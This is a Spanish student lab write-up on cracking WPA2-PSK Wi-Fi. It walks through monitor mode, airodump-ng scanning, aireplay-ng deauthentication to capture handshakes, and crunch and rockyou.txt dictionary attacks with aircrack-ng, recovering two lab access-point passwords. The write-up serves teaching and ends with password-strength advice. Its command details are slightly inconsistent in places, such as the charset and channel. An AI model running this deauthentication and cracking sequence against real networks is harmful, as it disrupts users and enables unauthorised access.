

Curso de Especialización

Ciberseguridad en las TIC

Actividad 26. WPA2 WIFI Hacking

Resumen

Autora: Marina del Pilar López Oliva

Febrero 2026

IES Camp de Morvedre

Obra publicada con [Licencia Creative Commons Reconocimiento Compartir igual 4.0](https://creativecommons.org/licenses/by-sa/4.0/)



Revisión

Revisión	Fecha	Descripción
1.0	28/05/2026	Realización del WriteUp

Índice de Contenidos

1. WriteUp.....	4
Preparación del entorno.....	4
Reconocimiento: escaneig de redes visibles.....	5
AP HackMe2.....	6
AP hacmywifi.....	9
Resumen de resultados.....	11

1. WriteUp

Preparación del entorno.

Para capturar tráfico WiFi en crudo, la tarjeta de red inalámbrica debe operar en modo monitor. En modo administrado (managed), la interfaz solo captura paquetes dirigidos a su propia dirección MAC. En modo monitor captura todo el tráfico del aire sin necesidad de asociarlo a ningún AP.

Primero se detienen los procesos que podrían interferir con el modo monitor:

```
(root@KaliMoxy)-[/home/marina]
# airmon-ng check kill

Killing these processes:

  PID Name
  4661 wpa_supplicant
```

Figura 1. Eliminación de procesos interferentes con `airmon-ng check kill`.

Se elimina el proceso `wpa_supplicant`, responsable de gestionar las conexiones WiFi, que podría desestabilizar el modo monitor. A continuación se activa dicho modo sobre la interfaz `wlan0`.

```
(root@KaliMoxy)-[/home/marina]
# airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy0     wlan0          rtl8192cu   Realtek Semiconductor Corp. RTL8188RU 802.11n WLAN Adapter
              (monitor mode enabled)
```

Figura 2. Activación del modo monitor sobre `wlan0`.

La salida confirma que el modo monitor se ha habilitado correctamente sobre la interfaz `wlan0`, correspondiente al adaptador Realtek RTL8188RU.

Reconocimiento: escaneo de redes visibles

Con la interfaz en modo monitor, se lanza airodump-ng sobre wlan0 para obtener un listado de todos los puntos de acceso al alcance e identificar los objetivos de la práctica.

```

L# airodump-ng wlan0

CH 2 ][ Elapsed: 36 s ][ 2026-05-27 19:18

BSSID          PWR Beacons  #Data, #/s  CH  MB  ENC CIPHER  AUTH ESSID
CC:00:00:00:00:00:00 -44      0      0  0 -1  -1          WPA2 CCMP  PSK <length: 0>
B8:27:4D:4D:4D:4D -64      6      0  0  1  65  WPA2 CCMP  PSK Ges_bNrHgg11
54:00:00:00:00:00 -51     17      0  0  1  130 WPA2 CCMP  PSK WIFI_CONVIDATS
54:00:00:00:00:00 -59     24      0  0  11 130 WPA2 CCMP  PSK WIFI_CONVIDATS
54:00:00:00:00:00 -57     35      0  0  11 130 WPA2 CCMP  PSK WIFI_ADI
54:00:00:00:00:00 -59     58      0  0  6  130 WPA2 CCMP  PSK WIFI_CONVIDATS
54:00:00:00:00:00 -45     19      0  0  1  130 WPA2 CCMP  PSK WIFI_CONVIDATS
54:00:00:00:00:00 -55     31      0  0  1  130 WPA2 CCMP  MGT WIFI_EDU
54:00:00:00:00:00 -59     62      0  0  6  130 WPA2 CCMP  PSK WIFI_ADI
54:00:00:00:00:00 -57     99      0  0  6  130 WPA2 CCMP  PSK WIFI_ADI
54:00:00:00:00:00 -58     96      0  0  6  130 WPA2 CCMP  MGT WIFI_EDU
54:00:00:00:00:00 -57     89      0  0  6  130 WPA2 CCMP  PSK WIFI_CONVIDATS
54:00:00:00:00:00 -59     56      0  0  6  130 WPA2 CCMP  MGT WIFI_EDU
38:72:C0:C8:8B:E6 -50     91     19  0  6  130 WPA2 CCMP  PSK HackMe2
54:00:00:00:00:00 -48     56      0  0  1  130 WPA2 CCMP  MGT WIFI_EDU
54:00:00:00:00:00 -57     45      0  0  1  130 WPA2 CCMP  PSK WIFI_ADI
54:00:00:00:00:00 -43     70      0  0  1  130 WPA2 CCMP  PSK WIFI_ADI
54:00:00:00:00:00 -39     54      0  0  1  130 WPA2 CCMP  MGT WIFI_EDU
54:00:00:00:00:00 -39     57      0  0  1  130 WPA2 CCMP  PSK WIFI_CONVIDATS
54:00:00:00:00:00 -48     57      0  0  1  130 WPA2 CCMP  PSK WIFI_ADI
00:25:69:67:9E:59 -35    148     52  1  1  54  WPA2 CCMP  PSK hackmywifi
54:00:00:00:00:00 -59     23      0  0  11 130 WPA2 CCMP  MGT WIFI_EDU

BSSID          STATION          PWR   Rate    Lost  Frames  Notes  Probes
CC:00:00:00:00:00:00 00:00:00:00:00:00 -41    0 - 1    73    49
38:72:C0:C8:8B:E6 00:00:00:00:00:00 -39    0 - 1     0     9
(nov 0550c1000) B 00:00:00:00:00:00 -47    0 - 1     3     3
  
```

Figura 3. Escaneo general con airodump-ng. Se identifican los dos AP objetivo.

El escaneo revela ambos objetivos. Los dos utilizan cifrado WPA2-PSK con CCMP (AES). Se anotan sus BSSID y canales para las capturas dirigidas posteriores:

- HackMe2: BSSID 38:72:C0:C8:8B:E6, canal 6.
- hackmywifi: BSSID 00:25:69:67:9E:59, canal 1.

AP HackMe2

Se focaliza la captura únicamente sobre el canal y BSSID del objetivo, guardando el resultado en el fichero hackme2. Esto evita capturar tráfico de otras redes y reduce el tamaño del fichero .cap:

```
CH 6 ][ Elapsed: 6 s ][ 2026-05-27 19:22

BSSID          PWR RXQ Beacons   #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
38:72:C0:C8:8B:E6 -44 48      76         9   1   6  130  WPA2 CCMP  PSK  HackMe2

BSSID          STATION          PWR   Rate    Lost  Frames  Notes  Probes
38:72:C0:C8:8B:E6 02:[REDACTED]:34 -37    0 - 1   1282    891

airodump-ng -c 6 --bssid 38:72:C0:C8:8B:E6 -w hackme2 wlan0
```

Figura 4. Captura dirigida sobre HackMe2. Se detecta un cliente activo asociado al AP.

Se observa un cliente conectado (02:A6:95:88:5A:34). Para capturar el handshake WPA2 sin esperar a que el cliente se desconecte de forma natural, se lanza en una segunda terminal un ataque de desautenticación mediante aireplay-ng:

```
(root@KaliMoxy)-[/home/marina]
# aireplay-ng -0 10 -a 38:72:C0:C8:8B:E6 wlan0
19:24:00 Waiting for beacon frame (BSSID: 38:72:C0:C8:8B:E6) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
19:24:01 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:01 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:01 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:02 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:02 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:05 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:07 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:10 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:13 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
19:24:16 Sending DeAuth (code 7) to broadcast -- BSSID: [38:72:C0:C8:8B:E6]
```

Figura 5. Ataque de desautenticación con aireplay-ng sobre HackMe2.

Por qué funciona el ataque DeAuth: El estándar 802.11 permite que cualquier estación envíe tramas de desautenticación sin cifrar ni autenticar. Al recibirlas, el

cliente se desconecta del AP y al reconectarse ejecuta el 4-way handshake WPA2, que queda registrado en el fichero hackme2-01.cap. WPA3 corrige esta vulnerabilidad mediante PMF (Protected Management Frames).

Transcurridos aproximadamente 3 minutos, airodump-ng muestra en la esquina superior derecha la confirmación de que el handshake ha sido capturado:

```
CH 6 ][ Elapsed: 3 mins ][ 2026-05-27 19:26 ][ WPA handshake: 38:72:C0:C8:8B:E6 ]
```

BSSID	PWR	RXQ	Beacons	#Data,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
38:72:C0:C8:8B:E6	-48	100	1586	746	7	6	130	WPA2	CCMP	PSK	HackMe2

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
38:72:C0:C8:8B:E6	62 [REDACTED]	4B	-22	1e-24	1849	113	PMKID
38:72:C0:C8:8B:E6	2C [REDACTED]	FA	-19	24e-24	51	301	PMKID
38:72:C0:C8:8B:E6	02 [REDACTED]	34	-29	1e-1	12	7935	PMKID

Figura 6. Confirmación de captura del handshake WPA2 de HackMe2.

El enunciado indica que la contraseña de HackMe2 tiene exactamente 8 caracteres formados por los dígitos 1 al 5 y las letras a, b, c y d en minúsculas. Se genera un wordlist a medida con crunch:

```
(root@KaliMox)-[/home/marina]
# crunch 8 8 1345abd -o hacm2dic

Crunch will now generate the following amount of data: 51883209 bytes
49 MB
0 GB
0 TB
0 PB

Crunch will now generate the following number of lines: 5764801

crunch: 100% completed generating output
```

Figura 7. Generación del wordlist con crunch ($7^8 = 5.764.801$ combinaciones, 49 MB).

Con el diccionario generado, se lanza el ataque de fuerza bruta por diccionario contra el handshake capturado:

```

(root@KaliMox)-[/home/marina]
# aircrack-ng -w hacm2dic hackme2-01.cap
Reading packets, please wait...
Opening hackme2-01.cap
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.

```

Figura 8. Ataque con el diccionario creado para obtener la clave.

```

1 potential targets

Aircrack-ng 1.7

[00:01:54] 922768/5764801 keys tested (8185.35 k/s)

Time left: 9 minutes, 51 seconds          16.01%

KEY FOUND! [ 33ab534d ]

Master Key      : 45 24 0A 29 DC D8 E7 8E 1A 8C 67 06 C1 02 AD 96
                  5F F1 23 05 A2 DC B5 30 A2 E3 54 05 EF A7 EF 55

Transient Key   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

```

Figura 9. Contraseña de HackMe2 encontrada con aircrack-ng y el wordlist de crunch.

Contraseña de HackMe2 obtenida: **33ab534d**. Encontrada tras probar 922.768 claves a ~8.185 k/s, mediante el wordlist generado con crunch (charset: 1345abd, longitud 8).

AP hacmywifi

Se repite el mismo proceso de captura dirigida sobre el segundo AP:

```
CH 6 ][ Elapsed: 12 s ][ 2026-05-27 19:33
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC CIPHER	AUTH	ESSID
00:25:69:67:9E:59	-42	21	37	22 1	1	54	WPA2 CCMP	PSK	hackmywifi

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
00:25:69:67:9E:59	8C: [REDACTED]:D8	-55	1 - 1	0	15		
00:25:69:67:9E:59	2C: [REDACTED]:FA	-55	0 - 1	0	1		

```
airodump-ng -c 6 --bssid 00:25:69:67:9E:59 -w hackmywifi wlan0
```

Figura 10. Captura dirigida sobre hackmywifi. Se observan dos clientes asociados.

Se detectan dos clientes conectados. Al cabo de 1 minuto, y tras forzar la desautenticación de forma análoga al caso anterior, el handshake queda capturado:

```
CH 1 ][ Elapsed: 1 min ][ 2026-05-27 19:37 ][ WPA handshake: 00:25:69:67:9E:59
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC CIPHER	AUTH	ESSID
00:25:69:67:9E:59	-29	100	889	5187 2	1	54	WPA2 CCMP	PSK	hackmywifi

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
00:25:69:67:9E:59	C6: [REDACTED]:19	-20	54 -24	0	5125	EAPOL	
00:25:69:67:9E:59	2E: [REDACTED]:BE	-17	54 -24	1	119	EAPOL	
00:25:69:67:9E:59	2C: [REDACTED]:FA	-53	0 - 1	0	11		

Figura 11. Confirmación de captura del handshake WPA2 de hackmywifi.

El enunciado indica que la contraseña de este AP podría encontrarse en un fichero de contraseñas conocido. Se utiliza rockyou.txt, uno de los diccionarios más populares en pentesting, con más de 14 millones de contraseñas reales filtradas de brechas de seguridad anteriores:

```

(root@KaliMoxy)-[/home/marina]
# aircrack-ng -a2 -b 00:25:69:67:9E:59 -w rockyou.txt hackmywifi-02.cap
Reading packets, please wait...
Opening hackmywifi-02.cap
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.

```

Figura 12. Ataque para obtener la contraseña con aircrack-ng y rockyou.

```

Aircrack-ng 1.7

[00:00:00] 187/10303727 keys tested (10029.25 k/s)

Time left: 17 minutes, 7 seconds                                0.00%

KEY FOUND! [ spongebob ]

Master Key      : BD 4A 5C C0 EB F2 CA F5 88 A3 0F 5E E3 BF 1A 7C
                  4B FB C2 31 67 C7 95 CC 26 24 82 19 AE 35 20 6A

Transient Key   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC      : A4 BD 15 5C 37 D3 FA 73 F2 D0 C0 F3 C3 5A E5 0F

```

Figura 13. Contraseña de hackmywifi encontrada con aircrack-ng y rockyou.txt.

Contraseña de hackmywifi obtenida: **spongebob**. Encontrada prácticamente de forma inmediata (187 claves probadas) al estar presente en las primeras entradas de rockyou.txt.

Resumen de resultados

Se han obtenido con éxito las contraseñas de los dos AP objetivo mediante técnicas de captura de handshake WPA2 y ataque por diccionario:

- HackMe2: contraseña 33ab534d. Wordlist generado con crunch usando charset 1345abd y longitud fija de 8 caracteres (5.764.801 combinaciones, ~49 MB). Tiempo de cracking: unos 10 minutos.
- hackmywifi: contraseña spongebob. Encontrada de forma inmediata con el diccionario estándar rockyou.txt.

La diferencia de tiempos ilustra un principio fundamental: una contraseña que aparece en diccionarios conocidos es vulnerable en segundos, independientemente de su longitud. Una contraseña de 8 caracteres con un alfabeto de tan solo 7 símbolos puede romperse en minutos con hardware modesto. Para una protección real, las contraseñas deben ser largas, aleatorias y generadas con un gestor de contraseñas.